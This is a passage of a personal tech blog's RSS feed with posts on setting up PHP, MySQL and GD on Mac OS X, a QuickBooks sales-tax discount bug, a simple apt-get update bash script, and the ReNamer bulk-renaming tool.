class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/term.png" height="175" width="250" style="float: right;padding-left: 10px" />If you have ever tried compiling the GD library on Mac OS X, you know that there are several issues to overcome before it is usable.  Not to mention the version of PHP included with OS X wasn&#8217;t compiled with this option.  In this post I will detail an easy method to update PHP, install MySQL and the GD library in just a few steps.</p><p>To start this process, we need to grab a couple of install packages from the links listed below:</p><ul><li><a
href="http://dev.mysql.com/downloads/mysql/" target="_blank">MySQL</a> for your version of OS X.</li><li>Marc Liyanage&#8217;s <a
href="http://www.entropy.ch/software/macosx/php/" target="_blank">PHP Apache Module</a>.</li></ul><p>Once you have these packages downloaded, we can start by installing MySQL.  Open the MySQL image and install the package by following the directions.  When the install process finishes, copy the MySQL.prefPane to &#8220;your_user/Library/PreferencePanes&#8221;.  Doing this allows you to start and stop the server from the system preferences window.  Finally, make sure you take the time to <a
href="http://www.cert.org.in/training/14Oct09/SecuringMySQL.pdf" target="_blank">secure</a> your new installation.</p><p>If you had previously enabled the PHP module in the httpd.conf file, make sure you comment it back out.</p><p>Using the terminal from: Applications=&gt;Utilities=&gt;Terminal.app<br
/> (The following commands are entered without quotes.)</p><ul><li>First type: &#8220;vi /etc/apache2/httpd.conf&#8221;</li><li>Find the PHP module:<br
/> LoadModule php5_module        libexec/apache2/libphp5.so</li><li>Type: &#8220;i&#8221; and change the line to read:<br
/> #LoadModule php5_module        libexec/apache2/libphp5.so</li><li>Now press the &#8220;esc&#8221; key, type &#8220;:wq&#8221; and press &#8220;enter&#8221;</li></ul><p>The next step in this process is to install an updated version of PHP with GD support.  The great thing about using the Entropy package, is that all of the hard work is already done for you!  Open the installer and click the customize button if you don&#8217;t need all of the included extensions.</p><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/php-ins.png" height="375" width="500" /></p><p>Once you have chosen the extensions you need, click install.  When the install finishes, the last thing we need to do is edit the php.ini.</p><p>Using the terminal from: Applications=&gt;Utilities=&gt;Terminal.app<br
/> (The following commands are entered without quotes.)</p><ul><li>First type: &#8220;vi /usr/local/php5/lib/php.ini&#8221;</li><li>Now type: &#8220;?mysql&#8221; and scroll up until you get to the lines that look like this:<br
/> mysql.default_socket = /tmp/mysql.sock<br
/> mysqli.default_socket = /tmp/mysql.sock</li><li>Type &#8220;i&#8221; and change them to:<br
/> mysql.default_socket = /var/mysql/mysql.sock<br
/> mysqli.default_socket = /var/mysql/mysql.sock</li><li>Finally press the &#8220;esc&#8221; key, type &#8220;:wq&#8221; and press &#8220;enter&#8221;</li></ul><p>Now all you have to do is start Web Sharing from the system preferences window and all of your new features will be ready to use.</p><div
class="shr-publisher-493"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Intuit QuickBooks Discount Error Goes Unfixed</title><link>http://www.ndarkness.com/2010/05/410/intuit-quickbooks-discount-error-goes-unfixed/</link> <comments>http://www.ndarkness.com/2010/05/410/intuit-quickbooks-discount-error-goes-unfixed/#comments</comments> <pubDate>Fri, 07 May 2010 03:57:41 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Error]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[XP]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=410</guid> <description><![CDATA[Unless you live in a secluded cave in the middle of nowhere, you have undoubtedly heard of a little program called QuickBooks by Intuit. This program comes in a variety of different flavors to suit your personal and/or business needs. This software can be surprisingly simple to use with little to no effort. In a [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F410%2Fintuit-quickbooks-discount-error-goes-unfixed%2F' data-shr_title='Intuit+QuickBooks+Discount+Error+Goes+Unfixed'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F410%2Fintuit-quickbooks-discount-error-goes-unfixed%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F410%2Fintuit-quickbooks-discount-error-goes-unfixed%2F' data-shr_title='Intuit+QuickBooks+Discount+Error+Goes+Unfixed'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F410%2Fintuit-quickbooks-discount-error-goes-unfixed%2F' data-shr_title='Intuit+QuickBooks+Discount+Error+Goes+Unfixed'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/Math.png" height="200" width="200" style="float:left;vertical-align:top;padding-left: 10px;padding-bottom: 10px" />Unless you live in a secluded cave in the middle of nowhere, you have undoubtedly heard of a little program called <a
href="http://quickbooks.intuit.com/">QuickBooks</a> by Intuit.  This program comes in a variety of different flavors to suit your personal and/or business needs.  This software can be surprisingly simple to use with little to no effort.</p><p>In a few cases when I invoice a customer, I will charge them for a product at full price and then a few lines down discount the product to the agreed upon selling price.  This helps me to demonstrate the value associated with the services I provide and also allows me to charge more later if the circumstances change.  QuickBooks has a special item that is setup for this very discount function.</p><p>During my normal day-to-day operations, I received a phone call from a customer that was unable to determine how I arrived at a sales tax figure.  Thinking this was a simple error on the customer’s behalf I pulled up the invoice, ran the figures and was shocked when I realized that the math absolutely did not work.  Wanting to get to the bottom of this, I asked to call the customer back and began trying to figure the problem out.  After working with the problem for a few moments I remembered that my company has a full service plan and decided to call Intuit to report the problem.  After jumping through several hoops and being transferred to a level 2 support member, I was told that this was expected behavior.  The invoice in question had taxable and non-taxable items on it with the discount appearing at the very bottom of the invoice.  She explained that the QuickBooks calculator added all the items up as it went along and when it encountered a discount it treated it as a payment and reduced the previous line items by a percentage.</p><p>Let see an example:</p><p>Our tax amount will be 8%.<br
/> Now we have an item that costs $1 and is taxable: $1 x 8% = $1.08<br
/> Another item for $1 that is not taxable: $1 x 0% = $1<br
/> A discount of $1 that is also taxable: $1.08 + $1 = 2.08 &#8211; $1.08 = $1</p><p>Now here is a screen shot from QuickBooks with the same problem:<br
/> (<a
href="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/QB-Error.png">Click to enlarge</a>)<a
href="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/QB-Error.png"><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/QB-Error.png" height="200" width="475" /></a></p><p>As you can see, QuickBooks manages to figure this total to be $1.04.  She then explained that the work around to this problem was to add all of the taxable items first, then use the taxable discount and finally add the non-taxable items and a non-taxable discount if needed.  I asked if this was going to be improved and was told that I could submit this as a suggestion for a future version as an improvement.</p><p>This just goes to show you that you can&#8217;t always trust shiny software even if you pay for it and you should always double check your math.</p><div
class="shr-publisher-410"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/05/410/intuit-quickbooks-discount-error-goes-unfixed/feed/</wfw:commentRss> <slash:comments>14</slash:comments> </item> <item><title>Linux System Update Script</title><link>http://www.ndarkness.com/2009/11/280/linux-system-update-script/</link> <comments>http://www.ndarkness.com/2009/11/280/linux-system-update-script/#comments</comments> <pubDate>Sat, 07 Nov 2009 02:07:47 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Slackware]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Ubuntu]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=280</guid> <description><![CDATA[In my experience with Linux distributions, Slackware and Ubuntu/Kubuntu, there are a couple of different methods used to update the system. Of course we can always use a gui to do the updates but what fun is that? The two commands used to update a Debian based system are: Now while this doesn&#8217;t require a [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>In my experience with Linux distributions, Slackware and Ubuntu/Kubuntu, there are a couple of different methods used to update the system. Of course we can always use a gui to do the updates but what fun is that?</p><p>The two commands used to update a Debian based system are:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ sudo apt-get update; sudo apt-get upgrade
</pre><p>Now while this doesn&#8217;t require a great deal of typing, let&#8217;s see if we can shorten it to suit our needs.</p><p>If you do not already have somewhere to store your personal scripts, the following command will do this for you and allow you to enter the code we will use:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~$ mkdir bin; cd bin; vi apt-auto
</pre><p>Press i for insert and create the following script:</p><pre class="brush: bash; gutter: true; title: ; notranslate">
#!/bin/bash

sudo apt-get update; sudo apt-get upgrade
</pre><p>This is all we need to type for our script to produce the results we are looking for. Now let&#8217;s save our script by pressing Esc =&gt; :wq =&gt; .</p><p>To run our script we can type:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ bash ./apt-auto
</pre><p>You should see the output from the two commands used in the script printed to the screen. Now let&#8217;s make our script executable so we don&#8217;t have to type bash to make it run.</p><p>The following command will accomplish what we are looking for:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ chmod +x apt-auto
</pre><p>Now to run our command we simply need to type:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ ./apt-auto
</pre><p>We now have a working script to do our update process and it is significantly shorter than the first option we used. As always all comments are welcomed.</p><div
class="shr-publisher-280"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/11/280/linux-system-update-script/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Quickly Rename Folders and Files in Windows for Free</title><link>http://www.ndarkness.com/2009/10/122/quickly-rename-folders-and-files-in-windows-for-free/</link> <comments>http://www.ndarkness.com/2009/10/122/quickly-rename-folders-and-files-in-windows-for-free/#comments</comments> <pubDate>Wed, 14 Oct 2009 02:55:25 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[XP]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=122</guid> <description><![CDATA[Have you ever needed to rename a bulk quantity of files and/or folders? In my day to day life, I use template folder structures to contain various aspects of job information. Before these folders are usable, I must add a unique job name to the beginning of the folder and/or file name to make searching [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F122%2Fquickly-rename-folders-and-files-in-windows-for-free%2F' data-shr_title='Quickly+Rename+Folders+and+Files+in+Windows+for+Free'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F122%2Fquickly-rename-folders-and-files-in-windows-for-free%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F122%2Fquickly-rename-folders-and-files-in-windows-for-free%2F' data-shr_title='Quickly+Rename+Folders+and+Files+in+Windows+for+Free'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F122%2Fquickly-rename-folders-and-files-in-windows-for-free%2F' data-shr_title='Quickly+Rename+Folders+and+Files+in+Windows+for+Free'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="wp-content/blogs.dir/1/files/2009/10/renamers-folders.jpg" alt="Folders" style="float:right;vertical-align:top;padding-left: 10px;padding-bottom: 10px" />Have you ever needed to rename a bulk quantity of files and/or folders?  In my day to day life, I use template folder structures to contain various aspects of job information.  Before these folders are usable, I must add a unique job name to the beginning of the folder and/or file name to make searching easier.  This renaming task can quickly become very tedious and time consuming.</p><p>Thanks to Denis Kozlov over at <a
href="http://www.den4b.com/" target="_blank">[den4b]</a> there is a solution that saves loads of time and effort.  The program is called, <a
href="http://www.den4b.com/downloads.php?project=ReNamer" target="_blank">ReNamer</a> and it allows us to select a list of files and/or folders and perform various renaming operations on them.</p><p>Since the task at hand is to work on already designed folder structures, all I need to do is find a method that does the job and save the preset for the different types folder structures.  I chose to use a delete rule to remove the generic job name and then an insert rule to insert a unique job name.</p><p>After going through a few short test runs, I came up with a working solution that I was able to<br
/> save, customize and slightly change to suit other needs.</p><p>If you have similar renaming needs, check out this<br
/> program and I&#8217;m sure you will agree it is definitely worth your time.</p><div
class="shr-publisher-122"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/10/122/quickly-rename-folders-and-files-in-windows-for-free/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 12/21 queries in 0.015 seconds using disk: basic
Object Caching 1406/1429 objects using disk: basic

Served from: www.ndarkness.com @ 2012-05-21 07:15:41 -->
